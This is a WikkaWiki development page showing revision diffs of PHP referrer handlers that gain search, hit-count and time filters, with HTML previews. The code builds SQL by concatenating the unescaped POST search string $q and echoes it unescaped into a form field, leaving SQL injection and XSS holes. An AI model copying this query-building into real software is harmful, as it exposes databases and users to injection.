Then, you'll have to replace the ##referrers.php## and ##referrers_sites.php## files (in the ##./handlers/page/## folder) with the following:
==##referrers.php##==
<div id="page">
* Display, filter and search the referrer list for the current page
*
* This handler allows users to display, filter and search the referrer list for
* @package Handlers
* @subpackage
* @name referrers
* @author {@link http://wikka.jsnx.com/DarTar Dario Taraborelli} - code cleanup, search/filter functionality added.
* @version 0.2
* @since Wikka 1.1.6.X
*
* default: '';
* @input integer $h optional: number of hits used to filter the referrers;
* 1: search for referrers with more than $h hits;
* 0: search for referrers with less than $h hits;
* @input integer $days optional: number of days used to filter the referrers;
//constants
define('RECORD_LIMIT_STEP', '1');
define('SEARCH_DEFAULT_OPTION', '1');
define('HITS_DEFAULT', '0');
define('HITS_DEFAULT_OPTION', '1');
define('DAYS_DEFAULT', '7');
define('MAX_DAYS', $this->GetConfigValue('referrers_purge_time'));
//parameters
$q = ''; #search string
$qo = ''; #search string option
$h = ''; #hits number
$ho = ''; #hits option
$days = ''; #days number
$global = ''; #global/local referrers
//internal variables
$option = '';
$hits_option = '';
$n ='';
//get and validate URL parameters
$q = (isset($_POST['q']) && (strlen($_POST['q']) > 0))? $_POST['q'] : '';
$qo = (isset($_POST['qo']) && preg_match('/[01]/', $_POST['qo']))? $_POST['qo'] : SEARCH_DEFAULT_OPTION;
$h = (isset($_POST['h']) && preg_match('/[0-9]+/', $_POST['h']))? $_POST['h'] : HITS_DEFAULT;
$ho = (isset($_POST['ho']) && preg_match('/[01]/', $_POST['ho']))? $_POST['ho'] : HITS_DEFAULT_OPTION;
$days = (isset($_POST['days']) && is_numeric($_POST['days']) && ($_POST['days'] <= MAX_DAYS) && ($_POST['days'] > 0))? $_POST['days'] : DAYS_DEFAULT;
$global = (isset($_POST['global']) && preg_match('/[01]/', $_POST['global']))? $_POST['global'] : ((isset($_GET['global']))? $_GET['global'] : '');
// build query from chunks
$option = ($qo == '1')? 'LIKE' : 'NOT LIKE'; #set search string operator
$hits_option = ($ho == '1')? '>' : '<'; #set hits operator
$query .= (strlen($q) > 0)? ' AND referrer '.$option.' "%'.$q.'%"' : ''; #filter by string if needed
$query .= ($days !== MAX_DAYS)? ' AND TO_DAYS(NOW()) - TO_DAYS(time) <= '.mysql_real_escape_string($days) : ''; #filter by time if needed
$query .= ' GROUP BY referrer '; #required
$query .= ($h > 0)? ' HAVING num '.$hits_option.' '.mysql_real_escape_string($h) : ''; #filter by hits
$query .= ' ORDER BY num desc'; # set order
// build menu chunks
$lr = "<a href=\"".$this->href("referrers")."\">URLs</a>";
$ld = "<a href=\"".$this->href("referrers_sites")."\">Domains</a>";
$gr = "<a href=\"".$this->Href("referrers", "", "global=1")."\">URLs</a>";
$gd = "<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">Domains</a>";
$bd = "<a href=\"".$this->href("review_blacklist")."\">Domains</a>";
$IsAdmin = $this->IsAdmin();
if ($global == 1)
$title = "Sites linking to this wiki ".($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "");
$referrers = $this->LoadReferrers('', $query);
$title = "List of external pages linking to ".$this->Link($this->tag).($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "");
$referrers = $this->LoadReferrers($this->tag, $query);
$menu = "<table style=\"border:1px solid #666; padding: 2pt; margin: 5pt\">";
$menu .= "<tr><td>".$this->tag."</td><td>".$lr."</td><td>".$ld."</td></tr>";
$menu .= "<tr><td>Global</td><td>".$gr."</td><td>".$gd."</td></tr>";
$menu .= "<tr><td>Blacklist</td><td></td><td>".$bd."</td></tr>";
$menu .= "</table>";
print ($global == 1)? $this->Format('=== Global referrers ===') : $this->Format('=== Referrers for '.$this->tag.'===') ;
print ("<br />".$title."<br />\n");
print ($menu."\n");
//print("<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br />");
//print 'Query: '.$query.'<br />'; #debug
//print 'Global: '.$global; #debug
// build form
$form = $this->FormOpen('referrers','','post');
$form .= '<table style="border: 1px solid #666; padding: 2pt; margin: 5pt">';
$form .= '<tr><td><strong>Search referrers </strong></td>';
$form .= '<td><select name="qo" title="Select search option">';
$form .= '<option value="1" '.(($qo == '1')? 'selected = "selected"' : '').'>containing</option>';
$form .= '<option value="0" '.(($qo == '0')? 'selected = "selected"' : '').'>not containing</option>';
$form .= '</select> ';
$form .= 'string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value="'.$q.'"/></td><tr>';
$form .= '<tr><td></td><td>with ';
$form .= '<select name="ho" title="Select filter option">';
$form .= '<option value="1" '.(($ho == '1')? 'selected = "selected"' : '').'>more</option>';
$form .= '<option value="0" '.(($ho == '0')? 'selected = "selected"' : '').'>less</option>';
$form .= '</select> ';
$form .= ' than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="'.$h.'"/> hits</td></tr>';
$form .= '<tr><td></td><td>for the last <select name="days" title="Select time interval">';
// build drop-down menu
for ($n = 1; $n < (MAX_DAYS + RECORD_LIMIT_STEP); $n += RECORD_LIMIT_STEP) {
$selected = ($n == $days)? 'selected="selected"' : '';
$form .= '<option value="'.$n.'" '.$selected.'>'.$n.'</option>';
$form .= '</select> days</td></tr>';
$form .= '<tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr>';
$form .= '</table>';
$form .= '<input type="hidden" name="global" value="'.$global.'" />';
$form .= $this->FormClose();
print $form.'<br />';
echo $this->Format('== Results: '.count($referrers).'== --- ');
if ($this->GetUser()) {
if ($referrers)
print("<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n");
print("<tr>");
print("<td width=\"30\" align=\"right\" valign=\"top\" style=\"padding-right: 10px\">".$referrer["num"]."</td>");
print("<td valign=\"top\"><a href=\"".$this->htmlspecialchars_ent($referrer["referrer"])."\">".$this->htmlspecialchars_ent($referrer["referrer"])."</a> ".($IsAdmin ? "[<a href=\"".$this->href("delete_referrer", "", "spam_link=").$this->htmlspecialchars_ent($referrer["referrer"])."&redirect=".$this->GetMethod()."\">Blacklist</a>]" : "")."</td>");
print("</tr>\n");
print("</table>\n");
} else {
print("<em>You need to login to see referring sites</em><br />\n");
print ("<br />".$menu."\n");
==##referrers_sites.php##==
(forthcoming: will possibly be merged with ##referrers.php##)


Revision [7932]

Edited on 2005-05-06 13:13:01 by DarTar [v.0.2 - parameter validation + layout + doc]
Additions:
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older then n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//.
==== Features ====
Current version: **0.2**
~-search referrers/domains by string
~-filter referrers/domains by number of hits
~-filter referrers/domains by time interval
Todo:
~-merge ##referrers.php## and ##referrers_sites.php##
Deletions:
The referrer lists generated by WikkaWiki on high-traffic servers become easily unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the referrer_purge_time in the ConfigurationOptions. To increase the legibility of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering// the list.


Revision [7931]

Edited on 2005-05-06 13:03:34 by DarTar [v.0.2 - parameter validation + layout + doc]
Additions:
""<div style="border:1px solid black; padding: 10pt"><h4> Referrers for <a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage">HomePage</a></h4><br />List of external pages linking to <a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage">HomePage</a> (last 7 days)<br />
<table style="border:1px solid #666; padding: 2pt; margin: 5pt"><tr><td>HomePage</td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers" title="View referrers for HomePage only">URLs</a></td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers_sites" title="View referring domains for HomePage only">Domains</a></td></tr><tr><td>Global</td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers&global=1" title="View global referrers">URLs</a></td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers_sites&global=1" title="View global referring domains">Domains</a></td></tr><tr><td>Blacklist</td><td></td><td><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/review_blacklist" title="View blacklisted domains">Domains</a></td></tr></table>
<form action="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/referrers" method="post">
<input type="hidden" name="wakka" value="HomePage/referrers" />
<table style="border: 1px solid #666; padding: 2pt; margin: 5pt"><tr><td><strong>Search referrers </strong></td><td><select name="qo" title="Select search option"><option value="1" selected = "selected">containing</option><option value="0" >not containing</option></select> string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value="testme"/></td><tr><tr><td></td><td>with <select name="ho" title="Select filter option"><option value="1" selected = "selected">more</option><option value="0" >less</option></select> than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="0"/> hits</td></tr><tr><td></td><td>for the last <select name="days" title="Select time interval"><option value="1" >1</option><option value="2" >2</option><option value="3" >3</option><option value="4" >4</option><option value="5" >5</option><option value="6" >6</option><option value="7" selected="selected">7</option><option value="8" >8</option><option value="9" >9</option><option value="10" >10</option><option value="11" >11</option><option value="12" >12</option><option value="13" >13</option><option value="14" >14</option><option value="15" >15</option><option value="16" >16</option><option value="17" >17</option><option value="18" >18</option><option value="19" >19</option><option value="20" >20</option><option value="21" >21</option><option value="22" >22</option><option value="23" >23</option><option value="24" >24</option><option value="25" >25</option><option value="26" >26</option><option value="27" >27</option><option value="28" >28</option><option value="29" >29</option><option value="30" >30</option></select> days</td></tr><tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr></table><input type="hidden" name="global" value=" " /></form>
<br /><h5> Results: 2</h5>
<br /> <table border="0" cellspacing="0" cellpadding="0">
<tr><td width="30" align="right" valign="top" style="padding-right: 10px">3</td><td valign="top"><a href="http://testme/wikka-1.1.6.0/wikka.php?wakka=HomePage">http://testme/wikka-1.1.6.0/wikka.php?wakka=HomePage</a> [<a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/delete_referrer&spam_link=http://testme/wikka-1.1.6.0/wikka.php?wakka=HomePage&redirect=referrers">Blacklist</a>]</td></tr>
<tr><td width="30" align="right" valign="top" style="padding-right: 10px">1</td><td valign="top"><a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage">http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage</a> [<a href="http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage/delete_referrer&spam_link=http://testme/wikka-1.1.6.0-dev/wikka.php?wakka=HomePage&redirect=referrers">Blacklist</a>]</td></tr>
</table></div>""
<div id="page">
* @version 0.2
* @input integer $global optional: switches between local/global referrers:
* 1: display referrers for the whole site;
* 0: display referrers for the current page;
* default: 0;
* the default can be overridden by providing a GET/POST parameter 'global'
define('MAX_DAYS', $this->GetConfigValue('referrers_purge_time'));
//parameters
$days = ''; #days number
$global = ''; #global/local referrers
//internal variables
//get and validate URL parameters
$q = (isset($_POST['q']) && (strlen($_POST['q']) > 0))? $_POST['q'] : '';
$qo = (isset($_POST['qo']) && preg_match('/[01]/', $_POST['qo']))? $_POST['qo'] : SEARCH_DEFAULT_OPTION;
$h = (isset($_POST['h']) && preg_match('/[0-9]+/', $_POST['h']))? $_POST['h'] : HITS_DEFAULT;
$ho = (isset($_POST['ho']) && preg_match('/[01]/', $_POST['ho']))? $_POST['ho'] : HITS_DEFAULT_OPTION;
$days = (isset($_POST['days']) && is_numeric($_POST['days']) && ($_POST['days'] <= MAX_DAYS) && ($_POST['days'] > 0))? $_POST['days'] : DAYS_DEFAULT;
$global = (isset($_POST['global']) && preg_match('/[01]/', $_POST['global']))? $_POST['global'] : ((isset($_GET['global']))? $_GET['global'] : '');
$query .= (strlen($q) > 0)? ' AND referrer '.$option.' "%'.$q.'%"' : ''; #filter by string if needed
$query .= ($days !== MAX_DAYS)? ' AND TO_DAYS(NOW()) - TO_DAYS(time) <= '.mysql_real_escape_string($days) : ''; #filter by time if needed
$query .= ' GROUP BY referrer '; #required
$query .= ($h > 0)? ' HAVING num '.$hits_option.' '.mysql_real_escape_string($h) : ''; #filter by hits
// build menu chunks
$lr = "<a href=\"".$this->href("referrers")."\">URLs</a>";
$ld = "<a href=\"".$this->href("referrers_sites")."\">Domains</a>";
$gr = "<a href=\"".$this->Href("referrers", "", "global=1")."\">URLs</a>";
$gd = "<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">Domains</a>";
$bd = "<a href=\"".$this->href("review_blacklist")."\">Domains</a>";
$title = "Sites linking to this wiki ".($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "");
$title = "List of external pages linking to ".$this->Link($this->tag).($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "");
$referrers = $this->LoadReferrers($this->tag, $query);
$menu = "<table style=\"border:1px solid #666; padding: 2pt; margin: 5pt\">";
$menu .= "<tr><td>".$this->tag."</td><td>".$lr."</td><td>".$ld."</td></tr>";
$menu .= "<tr><td>Global</td><td>".$gr."</td><td>".$gd."</td></tr>";
$menu .= "<tr><td>Blacklist</td><td></td><td>".$bd."</td></tr>";
$menu .= "</table>";
print ($global == 1)? $this->Format('=== Global referrers ===') : $this->Format('=== Referrers for '.$this->tag.'===') ;
print ("<br />".$title."<br />\n");
print ($menu."\n");
//print("<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br />");
$form .= '<tr><td><strong>Search referrers </strong></td>';
for ($n = 1; $n < (MAX_DAYS + RECORD_LIMIT_STEP); $n += RECORD_LIMIT_STEP) {
print $form.'<br />';
echo $this->Format('== Results: '.count($referrers).'== --- ');
print ("<br />".$menu."\n");
(forthcoming: will possibly be merged with ##referrers.php##)
Deletions:
""<div style="border:1px solid black; padding: 10pt"><strong>External pages linking to <a href="http://wikka.jsnx.com/HomePage" title=" ">HomePage</a> (last 7 days) (<a href="http://wikka.jsnx.com/HomePage/referrers_sites">see list of domains</a>):</strong><br />
<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br /><br />[<a href="http://wikka.jsnx.com/HomePage/referrers_sites?global=1">View global referring sites</a> | <a href="http://wikka.jsnx.com/HomePage/referrers?global=1">View global referrers</a> | <a href="http://wikka.jsnx.com/HomePage/review_blacklist">View referrer blacklist</a>]<br /><br /><form action="http://wikka.jsnx.com/HomePage/referrers" method="post">
<table style="border: 1px solid #666; padding: 2pt; margin: 5pt"><tr><td><strong>Display referrers</strong></td><td><select name="qo" title="Select search option"><option value="1" selected = "selected">containing</option><option value="0" >not containing</option></select> string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value=" "/></td><tr><tr><td></td><td>with <select name="ho" title="Select filter option"><option value="1" selected = "selected">more</option><option value="0" >less</option></select> than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="0"/> hits</td></tr><tr><td></td><td>for the last <select name="days" title="Select time interval"><option value="1" >1</option><option value="2" >2</option><option value="3" >3</option><option value="4" >4</option><option value="5" >5</option><option value="6" >6</option><option value="7" selected="selected">7</option><option value="8" >8</option><option value="9" >9</option><option value="10" >10</option><option value="11" >11</option><option value="12" >12</option><option value="13" >13</option><option value="14" >14</option><option value="15" >15</option><option value="16" >16</option><option value="17" >17</option><option value="18" >18</option><option value="19" >19</option><option value="20" >20</option><option value="21" >21</option><option value="22" >22</option><option value="23" >23</option><option value="24" >24</option><option value="25" >25</option><option value="26" >26</option><option value="27" >27</option><option value="28" >28</option><option value="29" >29</option><option value="30" >30</option><option value="31" >31</option><option value="32" >32</option><option value="33" >33</option><option value="34" >34</option><option value="35" >35</option><option value="36" >36</option><option value="37" >37</option><option value="38" >38</option><option value="39" >39</option><option value="40" >40</option><option value="41" >41</option><option value="42" >42</option><option value="43" >43</option><option value="44" >44</option><option value="45" >45</option><option value="46" >46</option><option value="47" >47</option><option value="48" >48</option><option value="49" >49</option><option value="50" >50</option><option value="51" >51</option><option value="52" >52</option><option value="53" >53</option><option value="54" >54</option><option value="55" >55</option><option value="56" >56</option><option value="57" >57</option><option value="58" >58</option><option value="59" >59</option><option value="60" >60</option><option value="61" >61</option><option value="62" >62</option><option value="63" >63</option><option value="64" >64</option><option value="65" >65</option><option value="66" >66</option><option value="67" >67</option><option value="68" >68</option><option value="69" >69</option><option value="70" >70</option><option value="71" >71</option><option value="72" >72</option><option value="73" >73</option><option value="74" >74</option><option value="75" >75</option><option value="76" >76</option><option value="77" >77</option><option value="78" >78</option><option value="79" >79</option><option value="80" >80</option><option value="81" >81</option><option value="82" >82</option><option value="83" >83</option><option value="84" >84</option><option value="85" >85</option><option value="86" >86</option><option value="87" >87</option><option value="88" >88</option><option value="89" >89</option><option value="90" >90</option></select> days</td></tr><tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr></table><input type="hidden" name="global" value=" " /></form></div>""
<div class="page">
* @version 0.1
define('RECORD_LIMIT_STEP', '1');
//initializing variables
$days = '';
$max_days = $this->GetConfigValue('referrers_purge_time');
$global = '';
//getting POST parameters
$q = (isset($_POST['q']))? $_POST['q'] : '';
$qo = (isset($_POST['qo']))? $_POST['qo'] : SEARCH_DEFAULT_OPTION;
$h = (isset($_POST['h']) && (strlen($_POST['h']) > 0))? $_POST['h'] : HITS_DEFAULT;
$ho = (isset($_POST['ho']))? $_POST['ho'] : HITS_DEFAULT_OPTION;
$days = (isset($_POST['days']))? $_POST['days'] : DAYS_DEFAULT;
$global = (isset($_POST['global']))? $_POST['global'] : ((isset($_GET['global']))? $_GET['global'] : '');
// restrict MySQL query by search string, time and number of hits
//$query = 'WHERE ';
//$query .= ($tag = trim($tag) ? 'page_tag = "'.mysql_real_escape_string($tag).'"' : '1'); #filter by tag
$query .= (isset($_POST['q']))? ' AND referrer '.$option.' "%'.$q.'%"' : ''; #filter by string
$query .= ' AND TO_DAYS(NOW()) - TO_DAYS(time) <= '.mysql_real_escape_string($days); #filter by time
$query .= ' GROUP BY referrer ';
$query .= ' HAVING num '.$hits_option.' '.mysql_real_escape_string($h); #filter by hits number
$title = "Sites linking to this wiki ".
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">see list of domains</a>):";
$title = "External pages linking to ".$this->Link($this->GetPageTag()).
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers_sites")."\">see list of domains</a>):";
$referrers = $this->LoadReferrers($this->GetPageTag(), $query);
print("<strong>$title</strong><br />\n");
print("<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br />");
//print links
print("<br />[<a href=\"".$this->href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
print("<br />[<a href=\"".$this->href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
$form .= '<tr><td><strong>Display referrers</strong></td>';
for ($n = 1; $n < ($max_days+RECORD_LIMIT_STEP); $n+=RECORD_LIMIT_STEP) {
echo $form;
echo '<p> </p>';
else
print("<em>None</em><br />\n");
print("<br />[<a href=\"".$this->href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]");
print("<br />[<a href=\"".$this->href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->href("review_blacklist")."\">View referrer blacklist</a>]");
<div class="page">
* Display, filter and search the domain list for the current page
* Usage: append /referrers_sites to the URL of the page
* @name referrers_sites
* @version 0.1
define('HITS_DEFAULT', '1');
//initializing variables
$days = '';
$max_days = $this->GetConfigValue('referrers_purge_time');
$global = '';
//getting POST parameters
$q = (isset($_POST['q']))? $_POST['q'] : '';
$qo = (isset($_POST['qo']))? $_POST['qo'] : SEARCH_DEFAULT_OPTION;
$h = (isset($_POST['h']))? $_POST['h'] : HITS_DEFAULT;
$ho = (isset($_POST['ho']))? $_POST['ho'] : HITS_DEFAULT_OPTION;
$days = (isset($_POST['days']))? $_POST['days'] : DAYS_DEFAULT;
$global = (isset($_POST['global']))? $_POST['global'] : ((isset($_GET['global']))? $_GET['global'] : '');
// restrict MySQL query by search string, time and number of hits
$hits_option = ($ho == '1')? '>=' : '<='; #set hits operator
//$query = 'WHERE ';
//$query .= ($tag = trim($tag) ? 'page_tag = "'.mysql_real_escape_string($tag).'"' : '1'); #filter by tag
$query .= (isset($_POST['q']))? ' AND referrer '.$option.' "%'.$q.'%"' : ''; #filter by string
$query .= ' AND TO_DAYS(NOW()) - TO_DAYS(time) <= '.mysql_real_escape_string($days); #filter by time
$query .= ' GROUP BY referrer ';
$query .= ' HAVING num '.$hits_option.' '.mysql_real_escape_string($h); #filter by hits number
$title = "Domains/sites linking to this wiki ".
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers", "", "global=1")."\">see list of different URLs</a>):";
$title = "Domains/sites pages linking to ".$this->Link($this->GetPageTag()).
($days ? " (last ".($days == 1 ? "24 hours" : $days." days").")" : "")." (<a href=\"".$this->Href("referrers")."\">see list of different URLs</a>):";
$referrers = $this->LoadReferrers($this->GetPageTag(), $query);
print("<strong>$title</strong><br />\n");
print("<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br />");
//print links
print("<br />[<a href=\"".$this->Href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
print("<br />[<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->Href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]<br /><br />");
$form = $this->FormOpen('referrers_sites','','post');
$form .= '<tr><td><strong>Display domains</strong></td>';
for ($n = 1; $n < ($max_days+RECORD_LIMIT_STEP); $n+=RECORD_LIMIT_STEP) {
echo $form;
echo '<p> </p>';
for ($a = 0; $a < count($referrers); $a++)
$temp_parse_url = parse_url($referrers[$a]["referrer"]);
$temp_parse_url = ($temp_parse_url["host"] != "") ? strtolower(preg_replace("/^www\./Ui", "", $temp_parse_url["host"])) : "unknown";
if (isset($referrer_sites["$temp_parse_url"]))
{
$referrer_sites["$temp_parse_url"] += $referrers[$a]["num"];
}
else
{
$referrer_sites["$temp_parse_url"] = $referrers[$a]["num"];
}
array_multisort($referrer_sites, SORT_DESC, SORT_NUMERIC);
reset($referrer_sites);
foreach ($referrer_sites as $site => $site_count)
print("<td width=\"30\" align=\"right\" valign=\"top\" style=\"padding-right: 10px\">$site_count</td>");
print("<td valign=\"top\">" . (($site != "unknown") ? "<a href=\"http://".$this->htmlspecialchars_ent($site)."\">".$this->htmlspecialchars_ent($site)."</a>" : $site) . "</a> ".($IsAdmin ? "[<a href=\"".$this->href("delete_referrer", "", "spam_site=").$this->htmlspecialchars_ent($site)."&redirect=".$this->GetMethod()."\">Blacklist</a>]" : "")."</td>");
else
print("<em>None</em><br />\n");
print("<br />[<a href=\"".$this->Href("referrers_sites")."\">View referring sites for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("referrers")."\">View referrers for ".$this->GetPageTag()." only</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]");
print("<br />[<a href=\"".$this->Href("referrers_sites", "", "global=1")."\">View global referring sites</a> | <a href=\"".$this->Href("referrers", "", "global=1")."\">View global referrers</a> | <a href=\"".$this->Href("review_blacklist")."\">View referrer blacklist</a>]");


Revision [7915]

Edited on 2005-05-05 14:41:19 by DarTar [first lines of parameter documentation]
Additions:
* @input string $q optional: string used to filter the referrers;
* default: '';
* the default can be overridden by providing a POST parameter 'q'
* @input integer $qo optional: determines the kind of search to be performed for string $q:
* 1: search for all referrers containing a given string
* 0: search for all referrers not containing a given string
* default: 1;
* the default can be overridden by providing a POST parameter 'qo'
* @input integer $h optional: number of hits used to filter the referrers;
* default: 1;
* the default can be overridden by providing a POST parameter 'h'
* @input integer $ho optional: determines the kind of filter to be applied to $h:
* 1: search for referrers with more than $h hits;
* 0: search for referrers with less than $h hits;
* default: 1;
* the default can be overridden by providing a POST parameter 'ho'
* @input integer $days optional: number of days used to filter the referrers;
* default: 1;
* the default can be overridden by providing a POST parameter 'h'
define('RECORD_LIMIT_STEP', '1');


Revision [7913]

Edited on 2005-05-05 13:46:44 by DarTar [Adding code and preview]
Additions:
The referrer lists generated by WikkaWiki on high-traffic servers become easily unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the referrer_purge_time in the ConfigurationOptions. To increase the legibility of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering// the list.
==== Preview ====
Here's an example of how the new interface looks like:
""<div style="border:1px solid black; padding: 10pt"><strong>External pages linking to <a href="http://wikka.jsnx.com/HomePage" title=" ">HomePage</a> (last 7 days) (<a href="http://wikka.jsnx.com/HomePage/referrers_sites">see list of domains</a>):</strong><br />
<em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em><br /><br />[<a href="http://wikka.jsnx.com/HomePage/referrers_sites?global=1">View global referring sites</a> | <a href="http://wikka.jsnx.com/HomePage/referrers?global=1">View global referrers</a> | <a href="http://wikka.jsnx.com/HomePage/review_blacklist">View referrer blacklist</a>]<br /><br /><form action="http://wikka.jsnx.com/HomePage/referrers" method="post">
<table style="border: 1px solid #666; padding: 2pt; margin: 5pt"><tr><td><strong>Display referrers</strong></td><td><select name="qo" title="Select search option"><option value="1" selected = "selected">containing</option><option value="0" >not containing</option></select> string: <input type ="text" name="q" title="Enter a search string" size="10" maxlength="50" value=" "/></td><tr><tr><td></td><td>with <select name="ho" title="Select filter option"><option value="1" selected = "selected">more</option><option value="0" >less</option></select> than: <input type ="text" name="h" title="Enter number of hits" size="10" maxlength="5" value="0"/> hits</td></tr><tr><td></td><td>for the last <select name="days" title="Select time interval"><option value="1" >1</option><option value="2" >2</option><option value="3" >3</option><option value="4" >4</option><option value="5" >5</option><option value="6" >6</option><option value="7" selected="selected">7</option><option value="8" >8</option><option value="9" >9</option><option value="10" >10</option><option value="11" >11</option><option value="12" >12</option><option value="13" >13</option><option value="14" >14</option><option value="15" >15</option><option value="16" >16</option><option value="17" >17</option><option value="18" >18</option><option value="19" >19</option><option value="20" >20</option><option value="21" >21</option><option value="22" >22</option><option value="23" >23</option><option value="24" >24</option><option value="25" >25</option><option value="26" >26</option><option value="27" >27</option><option value="28" >28</option><option value="29" >29</option><option value="30" >30</option><option value="31" >31</option><option value="32" >32</option><option value="33" >33</option><option value="34" >34</option><option value="35" >35</option><option value="36" >36</option><option value="37" >37</option><option value="38" >38</option><option value="39" >39</option><option value="40" >40</option><option value="41" >41</option><option value="42" >42</option><option value="43" >43</option><option value="44" >44</option><option value="45" >45</option><option value="46" >46</option><option value="47" >47</option><option value="48" >48</option><option value="49" >49</option><option value="50" >50</option><option value="51" >51</option><option value="52" >52</option><option value="53" >53</option><option value="54" >54</option><option value="55" >55</option><option value="56" >56</option><option value="57" >57</option><option value="58" >58</option><option value="59" >59</option><option value="60" >60</option><option value="61" >61</option><option value="62" >62</option><option value="63" >63</option><option value="64" >64</option><option value="65" >65</option><option value="66" >66</option><option value="67" >67</option><option value="68" >68</option><option value="69" >69</option><option value="70" >70</option><option value="71" >71</option><option value="72" >72</option><option value="73" >73</option><option value="74" >74</option><option value="75" >75</option><option value="76" >76</option><option value="77" >77</option><option value="78" >78</option><option value="79" >79</option><option value="80" >80</option><option value="81" >81</option><option value="82" >82</option><option value="83" >83</option><option value="84" >84</option><option value="85" >85</option><option value="86" >86</option><option value="87" >87</option><option value="88" >88</option><option value="89" >89</option><option value="90" >90</option></select> days</td></tr><tr><td></td><td><input type="submit" value="Submit" title="Click to query the referrer list" accesskey="a" /></td></tr></table><input type="hidden" name="global" value=" " /></form></div>""
==== The code ====
First you will need to modify the ##""LoadReferrers()""## function in ##wikka.php##:
**original**
%%(php;754)
function LoadReferrers($tag = "")
{
return $this->LoadAll("select referrer, count(referrer) as num from ".$this->config["table_prefix"]."referrers ".($tag = trim($tag) ? "where page_tag = '".mysql_real_escape_string($tag)."'" : "")." group by referrer order by num desc");
}
%%
**modified**
%%(php;754)
function LoadReferrers($tag = '', $query)
{
return $this->LoadAll("SELECT referrer, COUNT(referrer) AS num FROM ".$this->config["table_prefix"]."referrers WHERE ".(($tag = trim($tag))? "page_tag = '".mysql_real_escape_string($tag)."'" : "1").$query);
}
%%
Then, you'll have to replace the ##referrers.php## and ##referrers_sites.php## files (in the ##./handlers/page/## folder) with the following:
==##referrers.php##==
%%(php;1)
<div class="page">
<?php
/**
* Display, filter and search the referrer list for the current page
*
* Usage: append /referrers to the URL of the page
*
* This handler allows users to display, filter and search the referrer list for
* the current page and for the whole site. Current search criteria include strings,
* number of hits, reference period.
*
* @package Handlers
* @subpackage
* @name referrers
*
* @author {@link http://wikka.jsnx.com/DarTar Dario Taraborelli} - code cleanup, search/filter functionality added.
* @version 0.1
* @since Wikka 1.1.6.X
*
*/
//constants
define('RECORD_LIMIT_STEP', '1');
define('SEARCH_DEFAULT_OPTION', '1');
